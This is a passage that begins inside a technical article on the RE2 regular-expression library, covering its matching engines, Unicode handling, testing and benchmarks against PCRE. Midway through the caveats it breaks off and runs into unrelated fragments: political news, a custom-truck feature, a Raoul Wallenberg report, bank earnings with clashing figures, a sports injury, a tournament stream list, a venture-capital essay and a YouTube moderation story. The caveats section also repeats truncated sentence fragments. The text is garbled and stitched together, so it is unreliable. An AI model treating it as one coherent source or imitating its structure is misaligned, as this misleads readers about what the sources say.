Run the DFA to answer the first two parts. The DFA is fast, but it can only answer the first two parts. A direct NFA simulation is necessary to answer the third part. Still, the DFA is fast enough that it makes sense to invoke it for the first two. Using the DFA to find the overall match cuts down the amount of text the NFA must process, which helps when searching large texts for small targets, and it also avoids the NFA completely when the answer to the first question is “no,” a very common case.
Once the DFA finds the match location, it is time to invoke the NFA to find submatch boundaries. The NFA is asymptotically efficient (linear in the size of the regular expression and linear in the size of the input text), but since it must copy around submatch boundary sets, it can be slower in common cases than a backtracker like PCRE. In exchange for guaranteed worst case performance, the average case suffers a little. (For more, see “Regular Expression Matching: the Virtual Machine Approach.”)
A few important common cases don't need the full NFA machinery to guarantee efficient execution. They can be handled with custom code before falling back to the NFA.
Use a one-pass NFA if possible. The NFA spends its time keeping track of multiple submatch boundary sets (in particular, making copies of them), but it is possible to identify a large class of regular expressions for which the NFA never needs to keep more than one set of boundary positions, no matter what the input.
Let's define a “one-pass regular expression” to be a regular expression with the property that at each input byte during an anchored match, there is only one alternative that makes sense for a given input byte. For example, x*yx* is one-pass: you read x's until a y, then you read the y, then you keep reading x's. At no point do you have to guess what to do or back up and try a different guess. On the other hand, x*x is not one-pass: when you're looking at an input x, it's not clear whether you should use it to extend the x* or as the final x. More examples: ([^x]*)x(.*) is one-pass; (.*)x(.*) is not. (\d+)-(\d+) is one-pass; (\d+).(\d+) is not.
A simple intuition for identifying one-pass regular expressions is that it's always immediately obvious when a repetition ends. It must also be immediately obvious which branch of an | to take: x(y|z) is one-pass, but (xy|xz) is not.
Because there's only one possible next choice, the one-pass NFA implementation never needs to make a copy of the submatch boundary set. The one-pass engine executes in two halves. During compilation, the one-pass code analyzes the compiled form of the program to determine whether it is one-pass. If so, the engine computes a data structure recording what to do at each possible state and input byte. Then at execution the one-pass engine can fly through the string, finding the match (or not) in, well, one pass.
Use a bit-state backtracker if possible. Backtrackers like PCRE avoid the copying of the submatch sets: they have a single set and overwrite and restore it during the recursion. For correctness, such an approach must be willing to revisit the same part of a string multiple times, at least one time per NFA state. That would still only be a linear time scan, though: the exponential time part of PCRE comes in revisiting the same part of a string many times per NFA state, because the algorithm does not remember that it has been down a particular path before.
The bit-state backtracker takes the standard backtracking algorithm, implemented with a manual stack, and adds a bitmap tracking which (state, string position) pairs have already been visited. For small regular expressions matched against small strings, allocating and clearing the bitmap is significantly cheaper than the copying of the NFA states. RE2 uses the bit state backtracker when the bitmap is at most 32 kilobytes.
If all else fails, use the standard NFA.
Analysis
RE2 disallows PCRE features that cannot be implemented efficiently using automata. (The most notable such feature is backreferences.) In return for giving up these difficult to implement (and often incorrectly used) features, RE2 can provably analyze the regular expressions or the automata. We've already seen examples of analysis for use in RE2 itself, in the DFA's use of memchr and in the analysis of whether a regular expression is one-pass. RE2 can also provide analyses that let higher-level applications speed searches.
Match ranges. Bigtable stores records in order stored by row name, making it efficient to scan all rows with names in a given range. Bigtable also allows clients to specify a regular expression filter: the scan skips rows with names that are not an exact match for the regular expression. It is convenient for some clients to use just the regular expression filter and not worry about setting the row range. Those clients can improve the efficiency of such a scan by asking RE2 to compute the range of strings that could possibly match the regular expression and then limiting the scan to just that range. For example, for (hello|world)+, RE2::PossibleMatchRange can determine that all possible matches are in the range [ hello, worldworle ]. It works by exploring the DFA graph from the start state, looking for a path with the smallest possible byte values and a path with the largest possible byte values. The e at the end of worldworle is a not a typo: worldworldworld < worldworle but not worldworld : PossibleMatchRange must often truncate the strings used to specify the range, and when it does, it must round the upper bound up.
Required substrings. Suppose you have an efficient way to check which of a list of strings appear as substrings in a large text (for example, maybe you implemented the Aho-Corasick algorithm), but now your users want to be able to do regular expression searches efficiently too. Regular expressions often have large literal strings in them; if those could be identified, they could be fed into the string searcher, and then the results of the string searcher could be used to filter the set of regular expression searches that are necessary. The FilteredRE2 class implements this analysis. Given a list of regular expressions, it walks the regular expressions to compute a boolean expression involving literal strings and then returns the list of strings. For example, FilteredRE2 converts (hello|hi)world[a-z]+foo into the boolean expression “( helloworld OR hiworld ) AND foo ” and returns those three strings. Given multiple regular expressions, FilteredRE2 converts each into a boolean expression and returns all the strings involved. Then, after being told which of the strings are present, FilteredRE2 can evaluate each expression to identify the set of regular expressions that could possibly be present. This filtering can reduce the number of actual regular expression searches significantly.
The feasibility of these analyses depends crucially on the simplicity of their input. The first uses the DFA form, while the second uses the parsed regular expression ( Regexp* ). These kind of analyses would be more complicated (maybe even impossible) if RE2 allowed non-regular features in its regular expressions.
Internationalization
RE2 treats regular expressions as describing Unicode sequences and can search text encoded in UTF-8 or Latin-1. Like PCRE and other regular expression implementations, named groups like [[:digit:]] and \d contain only ASCII, but Unicode property groups like \p{Nd} contain full Unicode. The challenge for RE2 is to implement the large Unicode character set efficiently and compactly. We saw above that a character class is represented as a balanced binary tree, but it is also important to keep the library footprint small, which means tight encoding of the necessary Unicode tables.
For internationalized character classes, RE2 implements the Unicode 5.2 General Category property (e.g., \pN or \p{Lu} ) as well as the Unicode Script property (e.g., \p{Greek} ). These should be used whenever matches are not intended to be limited to ASCII characters (e.g., \pN or \p{Nd} instead of [[:digit:]] or \d ). RE2 does not implement the other Unicode properties (see Unicode Technical Standard #18: Unicode Regular Expressions). The Unicode group table maps a group name to an array of code ranges defining the group. The Unicode 5.2 tables require 4,258 code ranges. Since Unicode has over 65,536 code points, each range would normally require two 32-bit numbers (start and end), or 34 kilobytes total. However, since the vast majority of ranges involve only code points less than 65,536, it makes sense to split each group into a set of 16-bit ranges and a set of 32-bit ranges, cutting the table footprint to 18 kilobytes.
RE2 implements case-insensitive matches (enabled by (?i) ) according to the Unicode 5.2 specification: it folds A with a, Á with á, and even K with K (Kelvin) and S with ſ (long s). There are 2,061 case-specific characters. RE2's table map each Unicode code point to the next largest point that should be treated as the same. For example, the table maps B to b and b to B. Most of these loops involve just two characters, but there are a few longer ones: for example, the table maps K to k, k to K (Kelvin symbol), and K back to K. That table is very repetitive: A maps to a, B maps to b, and so on. Instead of listing every character, we can list ranges and deltas: A through Z map to the value plus 32, a through j map to the value minus 32, k maps to K (Kelvin symbol again), and so on. There is a special case for ranges with runs of upper/lower pairs and lower/upper pairs. This encoding cuts the table from 2,061 entries taking 16 kilobytes to 279 entries taking 3 kilobytes.
RE2 does not implement named characters like in Python's u"\N{LATIN SMALL LETTER X}" as an alias for "x". Even ignoring the obvious user interface issues, the necessary table would be around 150 kilobytes.
Testing
How do we know that the RE2 code is correct? Testing a regular expression implementation is a complex undertaking, especially when the implementation has as many different code paths as RE2. Other libraries, like Boost, PCRE, and Perl, have built up large, manually maintained test suites over time. RE2 has a small number of hand-written tests to check basic functionality, but it quickly became clear that hand-written tests alone would require too much effort to create and maintain if they were to cover RE2 well. Instead, the bulk of the testing is done by generating and checking test cases mechanically.
Given a list of small regular expressions and operators, the RegexpGenerator class generates all possible expressions using those operators up to a given size. Then the StringGenerator generates all possible strings over a given alphabet up to a given size. Then, for every regular expression and every input string, the RE2 tests check that the output of the four different regular expression engines agree with each other, and with a trivial backtracking implementation written only for testing, and (usually) with PCRE itself. RE2 does not match PCRE on all cases, so the tester includes an analysis to check for cases on which RE2 and PCRE disagree, as listed in the Caveats section below. Except when the regular expression involves these boundary cases, the tester requires RE2 and PCRE to agree on the outcome of the match.
The exhaustive tests must limit themselves to small regular expressions and small input strings, but most bugs can be exposed by small test cases. Enumerating all small test cases catches almost all the mistakes that get past the few hand-written tests. Even so, RE2 also includes a randomized tester, variants of the RegexpGenerator and StringGenerator that generate larger random instances. It's rare for random testing to catch something that the smaller exhaustive testing missed, but it is still a good reassurance that large expressions and texts continue to work correctly.
Performance
RE2 is competitive with PCRE on small searches and faster on large ones. The performance for small searches is reported in microseconds, since the search time is mostly independent of the actual text size (around 10 bytes in these examples). The performance on large searches is reported in MB/s, since the search time is typically linear in the actual text size.
The benchmarks reported are run by re2/testing/regexp_benchmark.cc. The directory re2/source/browse/benchlog holds accumulated results. (All tests are run with PCRE 8.01, the latest version at time of writing.)
Compilation. RE2 compiles regexps at about 3-4x slower than PCRE:
System PCRE RE2 AMD Opteron 8214 HE, 2.2 GHz 5.8 µs 14.1 µs Intel Core2 Duo E7200, 2.53 GHz 3.8 µs 10.4 µs Intel Xeon 5150, 2.66 GHz (Mac Pro) 5.9 µs 21.7 µs Intel Core2 T5600, 1.83 GHz (Mac Mini) 6.4 µs 24.1 µs Time to compile a simple regular expression.
The difference is about 5-10 microseconds per regexp. These timings include time spent freeing the regexp after parsing and compilation. We expect that the common case is that regexps are cached across matches when speed is critical, making compile time not too important.
The compiled form of an RE2 is bigger than that of a PCRE object, a few kilobytes vs a few hundred bytes for a typical small regular expression. RE2 does more analysis of the regexp during compilation and stores a richer form than PCRE. RE2 saves state (the partially-built DFA) across calls too: after running a few matches a simple RE2 might be using 10kB, but more matches do not typically increase the footprint. RE2 limits total space usage to a user-specified maximum (default 1MB).
Full match, no submatch info. We saw above that some searches are harder than others and that RE2 uses different implementations for different kinds of searches. This benchmark searches for.*$ in a randomly-generated input text of the given size. It gives a sense of the flat out search speed.
Speed of searching for.*$ in random text. (Mac Pro)
RE2 uses a DFA to run the search.
Full match, one-pass regular expression, submatch info, tiny strings. This benchmark searches for ([0-9]+)-([0-9]+)-([0-9]+) in the string 650-253-0001, asking for the location of the three submatches:
System PCRE RE2 AMD Opteron 8214 HE, 2.2 GHz 0.8 µs 0.5 µs Intel Core2 Duo E7200, 2.53 GHz 0.4 µs 0.3 µs Intel Xeon 5150, 2.66 GHz (Mac Pro) 0.6 µs 0.3 µs Intel Core2 T5600, 1.83 GHz (Mac Mini) 0.7 µs 0.4 µs Time to match ([0-9]+)-([0-9]+)-([0-9]+) in 650-253-0001.
RE2 uses the OnePass matching engine to run the search, avoiding the overhead of the full NFA.
Full match, ambiguous regular expression, submatch info, tiny strings. If the regexp is ambiguous, RE2 cannot use the OnePass engine, but if the regexp and string are both small, RE2 can use the BitState engine. This benchmark searches for [0-9]+.(.*) in 650-253-0001 :
System PCRE RE2 AMD Opteron 8214 HE, 2.2 GHz 0.6 µs 2.9 µs Intel Core2 Duo E7200, 2.53 GHz 0.3 µs 2.1 µs Intel Xeon 5150, 2.66 GHz (Mac Pro) 0.4 µs 2.3 µs Intel Core2 T5600, 1.83 GHz (Mac Mini) 0.5 µs 2.5 µs Time to match [0-9]+.(.*) in 650-253-0001.
Here, RE2 is noticeably slower than PCRE, because the regexp is not unambiguous: it is never clear whether an additional digit should be added to the [0-9]+ or used to match the ‘. ’. PCRE is optimized for matches; when presented with strings that don't match, its run-time can grow exponentially in the worst case, and is noticeably slower even in common cases. In contrast, RE2 plods along at linear speed regardless of whether the text matches. The particular speed depends on the size of the text and regexp. In small cases like this one, RE2 uses BitState; in larger cases, it must fall back to NFA.
Partial match, no actual match. Looking for a partial (unanchored) match requires that the matching engine consider matches starting at every byte in the string. PCRE implements this as a loop that tries starting at each byte in the string, while the RE2 implementations can run all of those in parallel. The RE2 implementations analyze the regexp more thoroughly than PCRE does, leading to potential speedups.
This benchmark searches for ABCDEFGHIJKLMNOPQRSTUVWXYZ$ in randomly generated text.
Speed of searching for ABCDEFGHIJKLMNOPQRSTUVWXYZ$ in random text. (Mac Pro)
The RE2 DFA spends most of its time in memchr looking for the leading A. PCRE notices the leading A too, though it seems not to take as much advantage. I suspect that PCRE does not continue to use memchr after finding the first A.
The next benchmark is a little harder, since there is no leading character to memchr for. It looks for [XYZ]ABCDEFGHIJKLMNOPQRSTUVWXYZ$.
Speed of searching for [XYZ]ABCDEFGHIJKLMNOPQRSTUVWXYZ$ in random text. (Mac Pro)
PCRE falls back on much slower processing to handle it, while RE2's DFA runs its fast byte-at-a-time loop.
The next benchmark is quite difficult for PCRE. It looks for [ -~]*ABCDEFGHIJKLMNOPQRSTUVWXYZ$. The text has no match for that expression, but PCRE scans the entire string at each position matching [ -~]* before realizing there is no match there. This ends up taking O(text2) time to match. RE2's DFA makes a single linear pass.
Speed of searching for [ -~]*ABCDEFGHIJKLMNOPQRSTUVWXYZ$ in random text. (Mac Pro)
Notice that PCRE sputters out at texts 4K in length.
Search and parse. Another typical use of RE is to find and parse a particular string in a text. This benchmark generates a random text with (650) 253-0001 at the end and then does an unanchored search for (\d{3}-|\(\d{3}\)\s+)(\d{3}-\d{4}), extracting the area code separately from the 7-digit phone number.
Speed of searching for and matching (\d{3}-|\(\d{3}\\)\s+)(\d{3}-\d{4})
in random text ending wtih (650) 253-0001. (Mac Pro)
RE2's faster DFA searching is responsible for the improved speed.
Summary. RE2 requires about 10 KB per regexp, in contrast to PCRE's half a KB or so. In exchange for the extra space, RE2 guarantees linear-time performance, although the linear-time constant varies by situation.
RE2 runs at about the same speed as PCRE for queries that ask whether a string matches but do not ask for submatch information (e.g., RE2::FullMatch or RE2::PartialMatch with no additional arguments).
When using regexps to parse text, RE2 runs at about the same speed as PCRE for unambiguous regexps. It runs at about half the speed for ambiguous regexps with small matches, and considerably slower for ambiguous regexps with large matches. The data sizes involved in these cases are usually small enough that the run-time difference is not a bottleneck. (For example, any performance loss parsing a file name vanishes in comparison to the time required to open the file.)
RE2 excels at searches over large amounts of text. It can locate matches much faster than PCRE, especially if the search requires PCRE to backtrack.
These benchmarks compare against PCRE because it is the most direct comparison: C/C++ against C/C++, with an almost identical interface. It's important to emphasize that the benchmarks are interesting because they primarily compare algorithms, not performance tuning. PCRE's choice of algorithm, at least in the general case, is forced by the attempt to be completely compatible with Perl and friends.
Caveats
RE2 explicitly does not attempt to handle every extension that Perl has introduced. The Perl extensions it supports are: non-greedy repetition; character classes like \d ; and empty assertions like \A, \b, \B, and \z. RE2 does not support arbitrary lookahead or lookbehind assertions, nor does it support backreferences. It supports counted repetition, but it is implemented by actual repetition ( \d{3} becomes \d\d\d ), so large repetition counts are unwise. RE2 supports Python-style named captures (?P<name>expr), but not the alternate syntaxes (?<name>expr) and (?'name'expr) used by.NET and Perl.
RE2 does not always match PCRE's behavior. There are a few known instances where RE2 intentionally differs:
If the regexp contains a repetition of an empty string, like (a*)+, then PCRE will treat the reptition sequence as ending with an empty string, while RE2 does not. Specifically, when matching (a*)+ against aaa, PCRE runs the + twice, once to match aaa and a second time to match the empty string. RE2 runs the + only once, to match aaa. Because parens capture the rightmost text they matched, for PCRE $1 will be an empty string while for RE2 $1 will be aaa. The PCRE behavior could be kludged into RE2 if needed.
, then PCRE will treat the reptition sequence as ending with an empty string, while RE2 does not. Specifically, when matching against, PCRE runs the twice, once to match and a second time to match the empty string. RE2 runs the only once, to match. Because parens capture the rightmost text they matched, for PCRE will be an empty string while for RE2 will be. The PCRE behavior could be kludged into RE2 if needed. Perl and PCRE differ on the meaning of the regexp \v. In Perl it matches just the vertical tab character (VT, 0x0B), while in PCRE it matches both the vertical tab and newline. RE2 chooses to side with Perl.
. In Perl it matches just the vertical tab character (VT, 0x0B), while in PCRE it matches both the vertical tab and newline. RE2 chooses to side with Perl. In single-line mode, if the input text ends with a newline character, Perl and PCRE allow $ to match either before or after that final newline. RE2 requires that it match after, at the very end of the text.
to match either before or after that final newline. RE2 requires that it match after, at the very end of the text. Similarly, in multi-line mode, if the input text ends with a newline character, Perl and PCRE do not allow ^, which normally matches following a newline, to match at the very end of the text. RE2 does.
, which normally matches following a newline, to match at the very end of the text. RE2 does. RE2 stops short of full internationalization but does implement basic Unicode property classes.
In UTF-8 mode, PCRE defines negated POSIX classes [[:^xxx:]] to match only ASCII code points, so that [[:^alpha:]] matches ASCII characters that are not in [[:alpha:]], while [^[:alpha:]] matches any Unicode character that is not in [[:alpha:]]. RE2 corrects this inconsistency: [[:^alpha:]] and [^[:alpha:]] both mean any Unicode character that is not in [[:alpha:]].
There are a handful of obscure features of Perl and PCRE that RE2 chooses not to implement. These are:
“Extended” regular expressions have traditionally followed the rule that word characters stand for themselves unless escaped, while punctuation might be special unless escaped. Thus \q should mean something special and \# should match a literal #. Perl and PCRE accept escaped letters as literals if the letter does not (yet) have a meaning. Thus in Perl, \q matches a literal q, at least until a different meaning is introduced. RE2 rejects
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discussing another Rice who went before all of the Sunday talk shows some years ago," said Rep. Jan Schakowsky.
The Democratic women demanded that McCain and Graham retract their criticism.
"It is a shame that anytime something goes wrong, they pick on women and minorities," Fudge said.
Said Delaware. Eleanor Holmes Norton: "We will not allow a brilliant public servant's record to be mugged to cut off her consideration to be secretary of state."
Copyright 2012 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
Read or Share this story: http://usat.ly/Wcn49UHere at Truckin’, you can always count on us to bring you the latest trends and newest technology from around the world. Every now and then, though, we like to highlight influences from the past. Call it automotive archaeology, if you like. Dusting off where you’ve been can often define where we’re heading. This ’94 Suburban is a great example. While some of the lines and upgrades are clearly dated, it was ahead of its time in many ways and even today, could humble most modern vehicles in the performance department.
Chris Dobbs, owner of Huegenics in Trenton, Florida, builds magazine-quality custom cars and trucks regularly. Although Dobbs had just graduated from high school when this '94 Suburban was built, he is now the proud owner. Mark III Industries in Ocala, Florida, was one of the largest van-conversion companies as of ’90 and built this one way back when. Purchased in late ’93, the company created this Suburban as a running advertisement for its conversion line. As one of the first steps in the conversion, the new truck was dropped off at Lingenfelter Performance, where it received a whopping $38,000 worth of engine modifications.
Once complete, Mark III brought it back to its facility in Ocala to upgrade the interior. The company showcased the vehicle for several years, around the world. Dobbs believes it even spent time on Germany’s Autobahn. It was purchased from Mark III in ’98 with only 550 miles on it. The second owner thoroughly enjoyed the truck until selling it to Dobbs this year. Garage-kept its entire life, it still only has slightly more than 11,000 miles.
When the Mark III Suburban arrived looking for a big horsepower increase for a large vehicle, Lingenfelter used its previous R&D work building a Saudi vehicle. The team created a second version of the Saudi big engine for this truck. One customer in Saudi, Arabia, wanted the 230hp factory motor in his highly modified, 9,000lb armored Suburban made significantly stronger. Could they build something to ensure his vehicle could move out smartly, should the need arise? Lingenfelter began the Saudi project by selecting a monstrous 605ci marine block, strong enough for a genuinely dramatic horsepower increase. A forged rotating assembly made up the internals, a high-lift Comp hydraulic roller cam worked the valves, and modified Brodix Big Brodie heads were ported and polished to ensure free breathing. The engine used a modified GM fuel injection with a Mercruiser intake fitted with a cold-air intake. Hooker Super Comp headers and DynoMax Ultra Flo mufflers scavenge spent gasses. According to a Car and Driver article written about the Saudi vehicle at that time, the engine produced a stout 550 horsepower with a staggering 705lb-ft of torque. Amazingly, the engine came out emissions legal, equipped with a catalytic converter, and an O2 sensor. Of the $38,000 price tag, $10,000 was devoted to emissions testing. Lingenfelter upgraded the 4L80E transmission with a modified valve body, heavier duty parts, and a unique adjustable shift kit control mounted on the firewall.
The Suburban got the same treatment. Once the horsepower upgrade was complete, the Mark III team brought the Suburban back to their headquarters in Ocala and began to improve the handling. The design kept the factory upper control arms and spindles, but modified the lower control arms to achieve a lower ride height. The beefed and lowered rear retained the GM leaf spring suspension with factory shocks, but augmented with a second pair of air shocks in order to tow the painted-to-match, company trailer. The controls for the onboard compressor reside in the glove compartment.
Inside, however, is where all the early-’90s fun begins. The Mark III team fabricated the unique aluminum trim pieces on the dash, door panels, rearview mirror, pedals, and under the hood. The stock Suburban seats were re upholstered in black leather with (cool-for-the-times) pink-and-gray tweed. Four separate buckets and a third row bench seat mean the truck can entertain seven people comfortably. The door panels came equipped with magazine racks, presumably loaded with copies of Truckin’ for passengers to enjoy.
A perfect road trip ride, the Suburban features dual air-conditioners, and an elaborate audiovisual system that includes a JVC AM/FM headunit, cassette player, and graphic equalizer to control the pair of Kicker amplifiers and multiple Kicker speakers throughout the cab. The center console has a rear-facing Sony Trinitron monitor connected to a motorized, pop up VCR. Hey, it was a state-of-the-art addition in its day and the forerunner of the DVD Home Theater approach found in today’s rides. The rear hatch houses a full-width, upholstered sub enclosure sporting four 12-inch Kicker subs facing rearward, along with a top-mounted 500 Watt, single-channel amp for the subs, and a four-channel, 200Watt amp for the front stage. Four capacitors and four small auxiliary batteries are tucked behind the enclosure, presumably to allow the stereo to entertain when the truck was on display at a show. Tweeters are mounted in the overhead and on either side of the dash. Component sets sit in each of the doors with an additional pair of mids mounted up front on either side of the dash. Although, the antique bag phone may be a reminder of an earlier decade, (it still works!), the stereo sounds as good as any modern system. It even has a rear-view camera, aimed out the rear window with a small screen on the dash.
The truck runs a Boyds steering wheel and matching Boyds wheels, 17 x 9.5 up front and fat 17 x 13s in the rear. Body mods on the Suburban were conservative with a cowl-induction hood, painted-to-match grille and front bumper, custom side mirrors, a deleted rear bumper with a custom roll pan, flip-down license plate, Cadillac taillights, and dual exhaust tips cut into both rear fenders. The truck is painted a modified S-10 color popular in the ’90s, Magenta with a Pearl overlay.
Dobbs grins when he says, “It was an $80,000 build 20 years ago and still has only 11,000 miles on it. It’s something you don’t see anymore, with lots of cool features done back in the day, making it a true time machine.” What are the future plans? Chris is undecided about whether he will pass the truck along to another enthusiast or use the high-performance power plant and accessories to create another magazine-worthy, Huegenics shop creation, but he’s sure going to enjoy it in the meantimeCopyright by WJTV - All rights reserved FILE PHOTO Swedish diplomat and World War II hero Raoul Wallenberg is shown in this undated handout photo. Russia for the first time conceded Friday, December 22, 2000, that Soviet authorities wrongfully persecuted Swedish diplomat Raoul...
Copyright by WJTV - All rights reserved FILE PHOTO Swedish diplomat and World War II hero Raoul Wallenberg is shown in this undated handout photo. Russia for the first time conceded Friday, December 22, 2000, that Soviet authorities wrongfully persecuted Swedish diplomat Raoul...
The Associated Press - STOCKHOLM (AP) - Swedish authorities have formally pronounced World War II hero Raoul Wallenberg dead, 71 years after he disappeared in Hungary.
The Swedish diplomat, credited with helping at least 20,000 Hungarian Jews escape the Holocaust, is believed to have died in Soviet captivity, though the time and circumstances of his death remain unresolved.
The Swedish Tax Authority, which registers births and deaths in Sweden, confirmed a report Monday in newspaper Expressen that Wallenberg had been pronounced dead.
Original Story (AP ALERT):
STOCKHOLM (AP) - Sweden declares WWII hero Raoul Wallenberg dead, 71 years after he disappeared in Hungary.The ‘other income’ category normally includes realised gains on disposal of investments in sukuk, gains on disposal of associates and joint ventures, and services income.
DIB reported net income of 5.7 billion dirhams for the nine months ending September 30. This is a 12.6 percent rise year-on-year, led by a strong 130.2 percent jump in other income and 18.9 percent increase in income from financing and investing.
Dubai Islamic Bank (DIB), the United Arab Emirates’ biggest Shariah-compliant bank by assets, reported a 9.7 percent rise in net profit to reach 3.3 billion dirhams ($898.9 million) for the nine months ending September 30 compared to the same period last year, according to Salaam Gateway calculation.
Growth in these areas lifted net profit, which was hit by a 103.5 percent rise in impairment charges to 618.7 million dirhams.
PLUNGING PROFITABILITY
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DIB is still recording positive annual net profit growth but the rate of that growth has been plunging since it reached the 10-year high of 63.19 percent in 2014, according to Salaam Gateway calculation.
In 2016, net profit growth plunged to 5.49 percent.
Returns on assets and equity also dropped in 2016. ROA dipped to 2.43 percent in 2016 from 2.71 percent in 2015 and ROE declined to 17.2 percent in 2016 from 19 percent the year before, according to DIB investor presentation documents.
ROA measures how efficient the business is at using its assets to generate profit. It is expressed as a percentage The higher the ROA the better, indicating that the company is earning more from its assets.
Similarly, ROE measures how good the business is at using its equity to generate profit.
($1 = 3.6726 dirhams)
READ ALSO: Dubai Islamic Bank posts 26 pct Q3 profit rise
© SalaamGateway.com 2017 All Rights ReservedCOLLINGWOOD captain Scott Pendlebury has been dealt another injury setback, suffering a suspected broken finger while representing Australia in the International Rules Series.
Pendlebury missed the last six games of the 2017 season with a broken finger on his opposite hand, injuring the middle finger of his left hand on Sunday afternoon.
He left the field late in the second quarter of Australia’s 10-point win over Ireland, failing to return to the match in the second half. He was then sent for scans.
Pendlebury is now expected to miss next Saturday’s second Test, but it is not yet known how serious the injury is and whether it could see him to miss the start of Collingwood’s pre-season.
The classy Magpies captain had been among Australia’s best players before injuring his finger, with Geelong skipper Joel Selwood also sitting out the match due to an ankle injury.
Selwood is hopeful of returning for Saturday night’s second Test at Subiaco.This is When’s Melee, your weekly source for Melee tournament stream and bracket information. If you know of any other events and their streams, reach out on Twitter (linked below) or here in the comments with the relevant information. For the best multi-stream experience, try multistre.am or VGStreams.com
Apollo X (10/14)
Region: N.Y. (EDT)
Stream: NebulousNYC
Featuring: Hungrybox, Slox, Rishi, Hax, vortex, lint, Kaeon, Beerman, Animal, Ryobeat, Wassabi, and holy moly it’s DA Wes.
» smash.gg: Brackets, Attendees | Facebook
RAID (10/14)
Region: U.K. (UTC+1)
Stream: BigGoodGaming
Featuring: Trif, Professor Pro, Overtriforce, Fuzzyness, Vanity Angle, SchlimmShady, Frenzy, Deathgazer, Rocky, R23, Alpha Dash, and more ranked British players.
» smash.gg: Brackets, Attendees | Facebook
Super Rubicon 2 (10/14)
Region: Ill. (CDT)
Stream: MeleeEveryday
Featuring: n0ne, Crush, Prince F. Abu, AbsentPage, Swiftbass, Pleasantries, Trix, Scythe, Fluid, shabo, PRZ, and the one and only Webs.
» smash.gg: Brackets, Attendees | Facebook
Elysium #2: The Return (10/14)
Region: SoCal (PDT)
Stream: theMetaShift
Featuring: SFAT, Westballz, Captain Faceroll, ARMY, Smashdaddy, Jace, MegaChristmas, and more subregion-ranked SoCal players.
» smash.gg: Brackets, Attendees | Facebook
Friday, Oct. 13
The Frame Trap House 16 (N.J, EDT)
Stream: TeamSpaceTSC
Featuring: Swedish Delight and probably other ranked Tri-State players.
» Challonge | Facebook
Super MoaL 178 (PGH, EDT)
Stream: PGHSmash
Featuring dizzkidboogie and Abate and more ranked PGH.
» Challonge | Organizer Facebook
Kent Combo 57 (Ohio, EDT)
Stream: KentStateSmash
» smash.gg | Organizer Facebook
Aurora Smash Heroes @ WIT (Ill, CDT)
Stream: AuroraSmash
» Challonge
Friday Night Turnip #72 (SoCal, PDT)
Stream: TopShelfEsports
» smash.gg (if this doesn’t work, check here) | Organizer Facebook
Saturday, Oct. 14
McGill 7: Mystic’s Level 3 Ninja Training (Mtl, EDT)
Stream: SSBMontreal
Featuring: Kage, Legend, Damian Tyson, Tranimal, Lunar Dusk, Jager, Fugu, Flood, and the number 1 venue in Canada among medical-doctoral universities for twelve consecutive years.
» smash.gg | Facebook
Super SmashNest v19 (Ore, PDT)
Stream: CacawGaming
Featuring: FatGoku, Aura, and a screening of the film Birdman.
» smash.gg | Facebook
Battle in Glasgow Smash: Autumn 2017 (U.K, UTC+1)
Stream: PhoenixDawnLive
Featuring: ShiftingShadows, TimeMuffinPhD, Phade, Maskless, and more ranked Scots.
» smash.gg | Facebook
Super Wavedashers 2 (Brazil, UTC-3)
Stream: TeamDashSP
Featuring: Bobesco, Aisengobay, Slug, Leso, and more.
» Challonge | Facebook
S@PS Weekly 48 (Penn, EDT)
Stream: PSUSmash
» smash.gg | Facebook
Look at Dat UPsmash Underground #16 (Penn, EDT)
Stream: PhenomenonWorks
» smash.gg | Facebook
Sunday, Oct. 15
Salty Juan’s 4: Southwestern Battle Royale (N.M, MDT)
Stream: NMsmash
Featuring: Luigi Ka-Master, Junebug, NMW, Nerin, Light, ilovebagelz, Dai, Tetsuyalol, Fizz, Sothe, Chevy, Sledj. Pools on Saturday.
» smash.gg | Facebook
Highlander Con 2017 (SoCal, PDT)
Stream: UCRmelee
» smash.gg | Facebook
Golden Daze: Compendium (Ala, CDT)
Stream: Super_Smash_Club
» smash.gg | Facebook
Smash at Epic 67 (Ore, PDT)
Stream: EpicGamingPDX
» Challonge | Facebook
Sam “Chester Dor’” Greene can be found on Twitter @SSBMDingus.Solving difficult scientific or engineering problems has proven itself to be the greatest benefactor of long-term growth and development. However, finding support for fundamental technological developments has come increasingly under fire in recent years.
It is not just crying wolf, and we have all heard this message before, funding for science is low, the space program takes cuts, fewer technical majors, Justin Bieber is more popular than The Doors.
A fantastic metric to determine whether our resources, in sum, are being allocated fruitfully is to look at pooled returns of venture fund indexes. Starting with its birth in the 1960s, to the 1990s. Venture capital had excellent returns, and it often closely associated with the high-capital, slow-growth, semiconductor and biotechnology industries.
In the new millennium however, we have encountered a new paradigm for returns amongst these indexes, a shift from funding transformational technologies to supporting companies solving incremental, or “hype” based problems. A shift from long-term garden like growth, to one equivalent to big game hunting. Steve Blank, who is invested in Ayasdi, said it best recently, stating:
If investors have a choice of investing in a blockbuster cancer drug that will pay them nothing for fifteen years or a social media application that can go big in a few years, which do you think they’re going to pick? If you’re a VC firm, you’re phasing out your life science division.
This perspective is beyond the bubble argument, or the oscillations of markets. It marks the creeping penetration of triviality into our investment culture. Furthermore, it is not a decision by any individual, rather the whole return of investment ecosystem has created an illusion highlighting consumer, social, and entertainment products.
Venture is often associated with bravely expanding our horizons, to seek out new lands, and bring back riches that will ensure growth for generations to come. Where will we go after all the shoe stores, and match-makers have migrated online? Once the saturation of social media has reached nauseating ubiquity? To truly create long-term returns, that assure the future financial stability of the investor, scientist/engineer, and society we must lead, not follow the bandwagon, or be part of the “me too” culture.
Citations:
“Cambridge Associates LLC U.S. Venture Capital Index® And Selected Benchmark Statistics” 2011
“Lessons from Twenty Years of the Kauffman Foundation’s Investments in Venture Capital Funds and The Triumph of Hope over Experience” 2012
“What Happened To The Future” – FoundersFund Manifesto
37.776143 -122.425448A video produced by CounterJihad critical of the Muslim Brotherhood, jihad and sharia law was removed from YouTube Tuesday due to the company’s “hate speech” regulations.
The video — titled “Killing for a Cause: Sharia Law & Civilization Jihad” — was uploaded to YouTube last Thursday.
“I am stunned that the policy that YouTube developed for the express purpose of fighting Islamic State propaganda is now being used to silence critics of radical jihad,” Jim Hanson, executive vice president of the Center for Security Policy said Wednesday.
Hanson added, “Instead of counteracting radical propaganda online, these policies are now being used to silence the very speech that YouTube said it wanted — speech that challenges ISIS.”
YouTube’s hate speech policy states that “hate speech refers to content that promotes violence or hatred against individuals or groups based on certain attributes.” These attributes include religion.
